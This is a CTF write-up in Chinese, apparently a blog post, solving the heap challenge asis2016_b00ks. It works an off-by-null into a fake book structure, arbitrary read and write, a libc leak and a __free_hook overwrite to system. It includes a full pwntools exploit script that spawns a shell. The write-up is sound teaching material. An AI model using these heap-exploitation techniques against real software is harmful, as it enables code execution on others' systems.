[堆入门off-by-null]asis2016_b00ks
[堆入门 off-by-null] asis2016_b00ks
刚开始学pwn就听说,堆的题目很魔幻,需要大量的基础知识。在漫长地啃堆基础原理以后,这是我第一次自己研究学习并且完全明白原理的堆题。特地在此做笔记记录。
0x00 逆向分析
一进来就很容易发现,这也是堆题中最为常见的菜单题目。
简单分析一下,打开程序,最先产生交互的函数是sub_B6D。
漏洞点:sub_B6D
调用了sub_9F5函数,是作者自己写的read函数,再进去看看。
注意这里的判定:先++buf,然后判断是否达到了最大长度(32字符),如果达到了,就跳出循环,然后把当前buf的字符变为\x00。
乍一看是没什么问题,但是仔细一想,它这里的i是从0开始,当i == a2的时候其实已经读了33个字符了,也就是说如果我们刚好输入32个字符以后,它会再读一个字符,并且会把这个字符变为\x00。
比如我输入了’A’ * 32,实际上数据流中我输入的是’AAAAAAAA…AAA\n’,当我们输入的第32个A被读取之后先检测是否是’\n’,通过,++buf,然后比对i是否等于a2,但是由于i从0开始,此时i为31,所以也通过,继续循环。
然后此时读取的字符是\n,检测到*buf == ‘\n’ 所以执行break,再把’\n’覆盖为\x00。导致最终读入的字符为32个’A’+一个’\x00’。
先简单写个脚本测试一下
def create(name_size, name, desc_size, desc):global pp.recvuntil('> ')p.sendline('1')p.recvuntil(': ')p.sendline(str(name_size))p.recvuntil(': ')p.sendline(name)p.recvuntil(': ')p.sendline(str(desc_size))p.recvuntil(': ')p.sendline(desc)def change_author(author):global pp.recvuntil('> ')p.sendline('5')p.recvuntil(': ')p.sendline(author)def debug():gdb.attach(p)pause()init()
debug()
create(0x20,'aaaaaaaa',0x20,'bbbbbbbb')
debug()
change_author('A'*32)
debug()
p.interactive()
init()先将作者名设置为32个A,然后create新建一个book(因为id是1,所以咱们叫他book1),然后再change_author修改作者名,看看内存里会有什么样的变化。
1.init()执行过后
可以看到在内存里写入了32个41
2.create()执行过后
可以看到在32个A后出现了一个指针,指针指向b00k1的id
3.change_author()执行过后
可以发现原来指向book1的ID的指针后两位被覆盖为了00。
如何利用这个漏洞?
思路:在覆盖为00后的地址位置(如这里的0x56285dc0f300),写一个伪造的book,怎么写,如何利用这个伪造的book我们之后再分析。
数据结构分析
在利用漏洞之前,我们先分析一下这个程序所用到的结构体。
在create book对应函数里面可以找到这样一段代码
这一块就很明显的反映出这个程序所用的结构体的结构。
先看这个*((_QWORD *)off_202010 + v2) = v3;
这个off_202010在之前用到过类似的地址:
对,就是之前创建作者名的时候。
ps.这里的sub_9F5和之前的sub_B6D是同一个函数,因为我写这篇文章不是一次性写完的,中间关了一次IDA。不过这都不重要。
跳转到IDA看一下
我们可以看到,作者名的起始地址off_202018在0x202040,而create中调用的这个地址在0x202060,刚好相差了0x20,再回头看一下之前create()函数执行过后的内存图:
现在我们可以理解,前面两行(0x20)的41(‘A’)之后跟的那个地址,就是book1的起始地址。
然后再回到IDA看另外的四行,翻译过来的结构体就大概长这样:
struct book_struct
{int id;
void *book_name;
void *book_description;
int description_size;
}
id对应了unk_202024,随着书的数量增加而自增。
*bookname可以通过之前的代码推断:
*book_description和description_size也是类似:
这边有一点需要注意,在IDA中,v5,ptr,unk_202024的地址都用的是
v3+0,v3+1,v3+2,为什么v1的地址用的是v3+6呢?而事实上我们看到:
这里的v1(description_size)是在v3+3的位置。
这是因为QWRD是四字,比DWORD双字大了一倍,因此DWORD的+6就相当于QWORD的+3
漏洞利用:Edit()
看到菜单的选项3是Edit a book,转到函数界面看看:
可以看到这边又调用了读函数sub_9F5,将读取的内容写到book结构体基地址+16(0x10)处的指针所指向的位置。
也就是:
图中这个地址所指向的地方
我们跳转过去看看
在这里就看到我之前测试所写的’aaaaaaaa’'a'=62
也就是说如果我们控制了这里的0x000056285dc0f2e0,就可以在任意的地方写任意的东西了。
另外在菜单的4选项还有print book detail的选项,也就是说如果我们控制了这个description指针的地址,就可以做到任意地址读写。
具体怎么实现再往后看。
0x01 fakebook的构造和利用
就像历史上国与国之间的侵略一样,想要获得一个内鬼,就得先培养一个内鬼,然后再让这个内鬼得到他们内部的信任(权限)
那我们先来构造一个内鬼
构造fakebook
这个很简单,只要这样就行了:
init()
create(0x20,'aaaaaaaa',0x20,'bbbbbbbb')
###############此处为新增代码###############edit(1,p64(1) + p64(0x114514) + p64(0x114514) + p64(0xffffff))###########################################
debug()
change_author('A'*32)
debug()
p.interactive()
运行一下看看是不是这么回事:
当当!我们的内鬼已经培养完了,这个内鬼可以在0x114514这个地址写0xffffff大小的内容,是不是很猛?
但是!别忘记一个很关键的事情,
程序它不认我这个内鬼啊!只要这里book1的指针还是指向0x56157f41c310,我们往book1的description写东西就还是往0x56157f41c2e0写,那怎么办呢?
这时候就想到了之前我们提到的off-by-null漏洞了,我们只要再填写一次作者名(就是前面的一堆4141),就会溢出一个\x00,覆盖掉0x56157f41c310后面的10。
乍一看这仿佛是不可控的,只能把后面两个改成00,但是我们的内鬼在0x56157f41c2e0,要怎么把book1的指针指向我们的内鬼呢?
其实name,description,book1他们三个是轮流划分区域的。
我们这里用刚好一本书的description大小0x20(chunk大小是0x30),那么如果book1的地址是以0xXXXXXX30结尾,那么用\x00覆盖以后,就变成0xXXXXXX00,由于book1的chunk刚好紧接着description的chunk,所以此时的0xXXXXXX00就刚好是description的地址。
那现在问题就在于如何把book1的结尾变成0x30?
只要不断扩大name的size直到book1的地址变为0x30结尾即可。
使fakebook取代book1
先看一下当前name是0x20,description也是0x20的时候,堆的结构是这样的:
可以看到如果要让book1基地址变成0x30的话 需要:
往下挤0x20
所以咱们把name加0x20,再试试
def init():p.recvline()p.recvuntil(': ')p.sendline('A'*32)def create(name_size, name, desc_size, desc):global pp.recvuntil('> ')p.sendline('1')p.recvuntil(': ')p.sendline(str(name_size))p.recvuntil(': ')p.sendline(name)p.recvuntil(': ')p.sendline(str(desc_size))p.recvuntil(': ')p.sendline(desc)def change_author(author):global pp.recvuntil('> ')p.sendline('5')p.recvuntil(': ')p.sendline(author)def edit(book_id, desc):global pp.recvuntil('> ')p.sendline('3')p.recvuntil(': ')p.sendline(str(book_id))p.recvuntil(': ')p.sendline(desc)def debug():gdb.attach(p)pause()init()
create(0x20 + 0x20,'aaaaaaaa',0x20,'bbbbbbbb')
p.interactive()
edit(1,p64(1) + p64(0x114514) + p64(0x114514) + p64(0xffffff))
debug()
change_author('A'*32)
debug()
p.interactive()
现在脚本长这样,看看啥效果
很好,book1已经如我们所愿变成30结尾了
执行到下一个debug()
到这一步,内鬼已经写好。继续执行
到此,我们已经成功完成了扶植内鬼,和任命内鬼的全过程。
测试一下:
我尝试输出了一下书的细节,程序直接崩溃了,如我所料。
如果没有任命成功,它会照常输出:
之所以这里会崩溃,是因为程序找不到0x114514这个地址。
也就证明我们的内鬼计划非常成功。
0x02 获取libc基地址,执行shell
获取libc基地址
当程序需要分配一块较小的空间时,malloc会默认使用brk方式分配chunk,但是如果需要分配的空间很大的话,会使用mmap方式分配。而使用mmap方式分配的chunk有个特点,就是chunk地址与libc基地址之间的偏移量是固定的(即使开了PIE:libc地址随机)
这就给我们提供了一个很好的获取libc的方式。
地址获取思路:
- 将作者名填满32字节,由于print输出到\x00停止的特性,输出作者名时尾部会输出book1的地址(如上图的Author尾部的不可见字符);
- 通过book1地址计算出book2的description地址(也可以是NAME地址);
- 将fakebook的description指针所指向的地址修改为book2的description所在的内存地址(不是指向的地址);
- 通过菜单选项Print book detail泄露book2的description所指向的地址;
- 在本地调试,使用vmmap得到book2地址与libc基地址偏移量;
- 通过book2的description地址算出libc基地址。
下面开始实践
def init():p.recvline()p.recvuntil(': ')p.sendline('A'*32)def create(name_size, name, desc_size, desc):global pp.recvuntil('> ')p.sendline('1')p.recvuntil(': ')p.sendline(str(name_size))p.recvuntil(': ')p.sendline(name)p.recvuntil(': ')p.sendline(str(desc_size))p.recvuntil(': ')p.sendline(desc)def delete(book_id):global pp.recvuntil('> ')p.sendline('2')p.recvuntil(': ')p.sendline(str(book_id))def edit(book_id, desc):global pp.recvuntil('> ')p.sendline('3')p.recvuntil(': ')p.sendline(str(book_id))p.recvuntil(': ')p.sendline(desc)def printf():global pp.recvuntil('> ')p.sendline('4')def change_author(author):global pp.recvuntil('> ')p.sendline('5')p.recvuntil(': ')p.sendline(author)def debug():gdb.attach(p)pause()init()
book1_name = 0x40
book1_des = 0x20
create(book1_name, 'a', book1_des, 'b')
create(0x21000, 'c', 0x21000, 'd')
printf()
p.recvuntil('ID: 1')
p.recvuntil('A'*32)
book1_addr = u64(p.recv(6).ljust(8, '\x00'))
print("book1_addr:"+hex(book1_addr))
edit(1, p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x38)+p64(0xffff))
change_author('A'*32)
printf()
p.recvuntil('ID: 1')
p.recvuntil('Name: ')
book2_addr = u64(p.recv(6).ljust(8, '\x00'))
print("book2_addr:"+hex(book2_addr))
debug()
p.interactive()
先看看book2的地址是多少:
可以看到这边跑出了book2的地址
然后vmmap看一下libc基地址是多少
这里libc-2.31.so就是libc了,第一行的起始地址就是libc的基地址。
所以它的偏移量就是:0x7f83dba36000 - 0x7f83dba14010
所以libc基地址 = book2_addr + (0x7f83dba36000 - 0x7f83dba14010)
修改后的脚本(自定义函数部分略过了)
init()
book1_name = 0x40
book1_des = 0x20
create(book1_name, 'a', book1_des, 'b')
create(0x21000, 'c', 0x21000, 'd')
printf()
p.recvuntil('ID: 1')
p.recvuntil('A'*32)
book1_addr = u64(p.recv(6).ljust(8, '\x00'))
print("book1_addr:"+hex(book1_addr))
edit(1, p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x38)+p64(0xffff))
change_author('A'*32)
printf()
p.recvuntil('ID: 1')
p.recvuntil('Name: ')
book2_addr = u64(p.recv(6).ljust(8, '\x00'))
print("book2_addr:"+hex(book2_addr))
###############新加入内容###################
libc_base = book2_addr + (0x7f83dba36000 - 0x7f83dba14010)
print('libc base:' + hex(libc_base))
debug()
跑跑看效果如何:
可以看到libc_base和vmmap的结果一模一样。
到此libc基地址获取成功。
执行shell
在堆中,我们常用__free_hook挟持执行流。
先来看看__free_hook是干嘛的:
void __libc_free(void *mem) {mstate ar_ptr;mchunkptr p; /* chunk corresponding to mem */// 判断是否有钩子函数 __free_hookvoid (*hook)(void *, const void *) = atomic_forced_read(__free_hook);if (__builtin_expect(hook != NULL, 0)) {(*hook)(mem, RETURN_ADDRESS(0));return;}//略……
}
简单一句话概括:当调用free函数时,会检测__free_hook函数是否为空,如果不是,则先执行__free_hook。
研究__free_hook的内部太麻烦了,直接看__free_hook的性质:
#include<stdio.h>
#include<stdlib.h>
#include<string.h>extern void (*__free_hook) (void *__ptr,const void *);int main()
{char *str = malloc(160);strcpy(str,"/bin/sh");printf("__free_hook: 0x%016X\n",__free_hook);// 劫持__free_hook__free_hook = system;free(str);return 0;
}
执行结果
ex@ubuntu:~/test$ gcc -o demo -g demo.c
demo.c: In function ‘main’:
demo.c:12:9: warning: format ‘%X’ expects argument of type ‘unsigned int’, but argument 2 has type ‘void (*)(void *, const void *)’ [-Wformat=]printf("__free_hook: 0x%016X\n",__free_hook);^
demo.c:14:14: warning: assignment from incompatible pointer type [-Wincompatible-pointer-types]__free_hook = system;^
ex@ubuntu:~/test$ ./demo
__free_hook: 0x0000000000000000
$ echo hello world
hello world
$
以上代码节选自http://blog.eonew.cn/archives/521
再简单一句话概括:__free_hook执行时会把chunk中的用户数据作为参数。
所以挟持的步骤:
- 把__free_hook的地址改为system地址
- 把待free的chunk中的内容改为’/bin/sh’
- 执行free(之前修改的chunk)
已经得到解题的所有步骤了,那么执行shell的步骤如下:
- 通过libc基地址得到freehook地址,system地址,binsh地址
- 由于之前已经将fakebook的description所指向的地址改为book2的name地址,所以可以通过修改book1的description来修改book2的name指针,和description指针所指向的内容。因此我们可以把book2的name改为’/bin/sh’把它的description改为’__free_hook’的地址。
- 通过步骤2,我们已经把book2的description所指向的地址改成了__free_hook,因此此时修改book2的description就是修改__free_hook的地址,因此此时只要修改book2的description为system的地址。
- free(book2)
pwn!!!!!!!!!!
这里有一个细节
在delete操作中,它会把每个chunk都free一遍,所以实际上是它在free(book2的name)的时候获取了shell。(之前纠结了很久__free_hook究竟会调用哪个作为参数)
0x03 脚本
from pwn import *
import pwnliblibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./b00ks')
#p = remote('node3.buuoj.cn',26090)
p = process('./b00ks')def init():p.recvline()p.recvuntil(': ')p.sendline('A'*32)def create(name_size, name, desc_size, desc):global pp.recvuntil('> ')p.sendline('1')p.recvuntil(': ')p.sendline(str(name_size))p.recvuntil(': ')p.sendline(name)p.recvuntil(': ')p.sendline(str(desc_size))p.recvuntil(': ')p.sendline(desc)def delete(book_id):global pp.recvuntil('> ')p.sendline('2')p.recvuntil(': ')p.sendline(str(book_id))def edit(book_id, desc):global pp.recvuntil('> ')p.sendline('3')p.recvuntil(': ')p.sendline(str(book_id))p.recvuntil(': ')p.sendline(desc)def printf():global pp.recvuntil('> ')p.sendline('4')def change_author(author):global pp.recvuntil('> ')p.sendline('5')p.recvuntil(': ')p.sendline(author)def debug():gdb.attach(p)pause()init()
book1_name = 0x40
book1_des = 0x20
create(book1_name, 'a', book1_des, 'b')
create(0x21000, 'c', 0x21000, 'd')
printf()
p.recvuntil('ID: 1')
p.recvuntil('A'*32)
book1_addr = u64(p.recv(6).ljust(8, '\x00'))
print("book1_addr:"+hex(book1_addr))
edit(1, p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x38)+p64(0xffff))
change_author('A'*32)
printf()
p.recvuntil('ID: 1')
p.recvuntil('Name: ')
book2_addr = u64(p.recv(6).ljust(8, '\x00'))
print("book2_addr:"+hex(book2_addr))
libc_base = book2_addr + (0x7f1b0ac89000 - 0x7f1b0ac42010)
print('libc base:' + hex(libc_base))
elf_base = libc_base + libc.sym['free'] - elf.plt['free']
free_hook = libc.symbols['__free_hook'] + libc_base
system = libc.symbols['system'] + libc_base
binsh_addr = libc.search('/bin/sh').next() + libc_base
print("free_hook = "+ hex(free_hook))
print("system = "+ hex(system))
print("binsh_addr = "+ hex(binsh_addr))
payload = p64(binsh_addr) + p64(free_hook)
edit(1, payload)
payload = p64(system)
edit(2, payload)
delete(2)
p.interactive()
虽然明白了打法,但是我还是花了很久的时间去把这题打穿。因为不同的解释器他们的offset大小都不一样,我用了我三台不同版本的ubuntu虚拟机偏移量都不对,可能是因为这个题目太老了,最后采用了网上别人打穿的wp的偏移量。然后本地的libc版本也很重要,不然就算获取了基地址,根据偏移量算出的函数地址也都是不对的。
[堆入门off-by-null]asis2016_b00ks相关推荐
- CTF pwn题堆入门 -- Unsorted bin
Unsorted bin 序言 概述 攻击方式 unlink 释放Chunk到Unsorted bin House of Orange House of einherjar Unsorted bin ...
- Linux pwn入门教程,pwn堆入门系列教程1
pwn堆入门系列教程1 因为自己学堆的时候,找不到一个系统的教程,我将会按照ctf-wiki的目录一步步学下去,尽量做到每周有更新,方便跟我一样刚入门堆的人学习,第一篇教程研究了4天吧,途中没人指导. ...
- 学习笔记 | 结合高中知识独立性检验入门学习零假设Null Hypothesis
大部分笔记内容均来自国内外博客网站,作者仅是整理整合相关文章方便学习,原著作权仍未原作者,若侵权请及时联系删除.谢谢!
- 【CTF资料-0x0002】PWN简易Linux堆利用入门教程by arttnba3
[CTF资料-0x0002]简易Linux堆利用入门教程by arttnba3 老生常谈,[GITHUB BLOG ADDR](https://arttnba3.cn/2021/05/10/NOTE- ...
- C语言 NULL 和 0 区别 - C语言零基础入门教程
目录 一.关于 NULL 定义 二.NULL 和 0 区别 三.猜你喜欢 零基础 C/C++ 学习路线推荐 : C/C++ 学习目录 >> C 语言基础入门 一.关于 NULL 定义 NU ...
- Linux (x86) Exploit 开发系列教程之十一 Off-By-One 漏洞(基于堆)
Off-By-One 漏洞(基于堆) 译者:飞龙 原文:Off-By-One Vulnerability (Heap Based) 预备条件: Off-By-One 漏洞(基于栈) 理解 glibc ...
- 算法笔记-堆相关、堆的定义、大小根堆、算法程序实现、堆的算法题、C#写法
内容概述 1,堆结构就是用数组实现的完全二叉树结构 2,完全二叉树中如果每棵子树的最大值都在顶部就是大根堆 3,完全二叉树中如果每棵子树的最小值都在顶部就是小根堆 4,堆结构的heaplnsert与h ...
- Libc堆管理机制及漏洞利用技术 (一)
0×01 Libc堆浅析 1.1 堆管理结构 struct malloc_state {mutex_t mutex; /* Serialize access. */int flags; /* Flag ...
- ECMAScript——基本数据类型之null和undefined
null属于当前的值为空,以后会给其赋值的 typeof null --> "object" undefined属于非人为设置,意料之外的没有 typeof undefin ...
- pwn题堆利用的一些姿势 -- IO_FILE
IO_FILE 概述 IO_FILE结构介绍 利用_fileno字段 原理分析 一个例子 利用IO_FILE进行leak 原理分析 一个例子 FSOP 原理分析 一个例子 总结 pwn题堆利用的一些姿 ...
最新文章
- 解决Tomcat v8.0 Server at localhost failed to start.
- ABAP程序发送邮件
- Winfrom中设置ZedGraph显示多个标题(一个标题换行显示)效果
- 关于python安装lxml插件的问题
- 「每天一道面试题」如何理解方法的重载与覆盖?
- sql server常用函数、常用语句
- js bom and dom
- PageRank算法原理与实现
- c++ 01_02 study note
- 力扣 两两交换链表中的节点
- ACL2021最佳论文出炉,来自字节跳动
- Flutter之跨组件状态共享Provider框架剖析(2)
- python递归函数基例_函数和代码复用 --Python
- python 画竖线_学习笔记92—python 画横竖分界线
- 联想i5无线网无法连接服务器,联想笔记本不能连接无线网的解决方法
- java sencha_Sencha Cmd 5 Java 8错误
- 网络攻防技术(2021期末考试)
- MacOS 系统 文件夹解析
- Kafka常用命令(1):kafka-topics
- scrollTo滚动到指定位置或指定元素的位置、平滑滚动,以及offsetTop的使用
热门文章
- python执行excel公式 语法_Python读取excel文件中带公式的值的实现
- Kubernetes 学习总结(24)—— Kubernetes 滚动更新、蓝绿发布、金丝雀发布等发布策略详解
- 列宽一字符等于多少厘米_Excel中行高与列宽单位和厘米的转换
- 台式计算机 按键盘字母键 没反应6,台式电脑键盘没反应怎么回事 键盘按了没反应怎么办...
- Makefile之origin函数
- 西安交通大学2022年计算机考研复试分数线预测
- 西安计算机专业大专排名及分数线,西安所有的大学名单及排名分数线(本科 专科)...
- 群同态和群同构的区别_抽象代数3-1群同态的简单性质与低阶群的结构
- Ubuntu 16.04 LTS 完善解决亮度调整
- 使用SharePoint Framework开发webpart的一些技巧汇总